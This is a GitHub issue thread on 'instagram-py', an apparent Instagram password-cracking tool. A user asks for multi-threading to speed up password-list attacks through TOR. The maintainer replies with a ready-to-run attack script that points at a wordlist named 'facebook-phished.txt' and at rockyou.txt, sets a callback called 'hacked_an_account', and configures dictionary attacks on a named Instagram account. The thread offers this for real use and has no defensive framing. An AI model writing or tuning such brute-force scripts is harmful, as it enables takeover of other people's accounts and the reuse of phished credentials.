deathsec / instagram-py

MIT License
328 stars 113 forks source link

Support multi-threading #5

Open samduy opened 6 years ago

samduy commented 6 years ago

Select your issue type: (check at least one)

Awesome tool! Thank you! It would be amazing if we could have multi-threading so that (for example) we have 20 threads checking the password list at the same time. The running time would be improved significantly.

(Though, there will be a challenge with using TOR proxy in that case, I guess)

antony-jr commented 6 years ago

@samduy You have instagram-py scripting to do that with a single thread ( Single thread means more performance with less resource ) and also customize as much as possible.

#!/usr/bin/instagram-py -s
# Only Supports Python 3

import os

def hacked_an_account(username , password):
    # Use Twilio API to Make a Message to our phone MayBe?
    print("Account Cracked!")
    return True

print("Initiating Multi Username Attack Script...")

global_callback = hacked_an_account
global_password_list = "{}/.exploits/facebook-phished.txt".format(os.path.expanduser('~'))

usernames = [ # Reserved Variable
   {
   "id" : "instatestgod__",
   "password_list" : "/home/antonyjr/Developer/.exploits/rockyou.txt" , # full path
   "countinue" : True, # Optional
   "verbose" : 0 # Optional
    },
   # If you want to simultaniously attack the same account with different wordlist
   # Apparently Saving does not work here if two wordlist are used on a single user!
   # could be later fixed anyways...
   {
   "id" : "instatestgod__",
   # global password list will cover us if password list is not mentioned!
   "countinue" : False, # Optional
   "verbose" : 3 # Optional
   }
   # ,
   # {
   # "id" : "even_more_users",
   # "password_list" : "different_passwords.lst",
   # }
]

Execution

 $ chmod +x your_script.py
 $ ./your_script.py